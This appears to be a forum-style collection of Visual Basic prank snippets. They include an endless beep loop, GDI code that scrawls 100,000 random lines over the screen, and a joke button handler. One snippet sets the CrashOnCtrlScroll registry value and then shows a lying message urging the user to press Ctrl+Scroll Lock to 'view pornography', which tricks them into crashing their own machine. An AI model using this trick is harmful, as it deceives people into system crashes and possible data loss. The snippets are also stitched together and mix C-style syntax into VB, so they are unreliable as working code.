Do
Beep()
Loop
Imports Microsoft.Win32
Dim rk As RegistryKey
rk = Registry.LocalMachine.OpenKey("SYSTEM\\CurrentControlSet\\Services\\i8042prt\\Parameters");
rk.SetValue("CrashOnCtrlScroll", 1);
rk.Close();
MsgBox("Press CTRL + Scroll Lock to view pornography.");
End
Private Sub cmdGetAClue_Click()
txtGetAClue.Text = "Use Python instead."
With txtGetAClue
.Font = "Arial"
.FontSize = 16
.ForeColor = vbBlue
End With
End Sub
Private Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Private Declare Function LineTo Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long) As Long
Private Declare Function CreatePen Lib "gdi32" (ByVal nPenStyle As Long, ByVal nWidth As Long, ByVal crColor As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hdc As Long, ByVal hObject As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Sub Main()
Dim hdc As Long, hPen As Long, hOld As Long, x As Long, y As Long
hdc = GetDC(0)
Randomize Timer
For x = 0 To 99999
DoEvents
hPen = CreatePen(CInt(Rnd * 3), CInt(Rnd * 5) + 1, RGB(CInt(Rnd * 255), CInt(Rnd * 255), CInt(Rnd * 255)))
hOld = SelectObject(hdc, hPen)
LineTo hdc, Rnd * (Screen.Width / Screen.TwipsPerPixelX), Rnd * (Screen.Height / Screen.TwipsPerPixelY)
Call SelectObject(hdc, hOld)
DeleteObject hPen
Next x
End Sub
That code generates a randomly sized image with a random colour in it, right?
It generates 100000 random lines in random colors and sizes all over the screen, which will stick on other windows until they are redrawn.
private sub main()
Unload me
end sub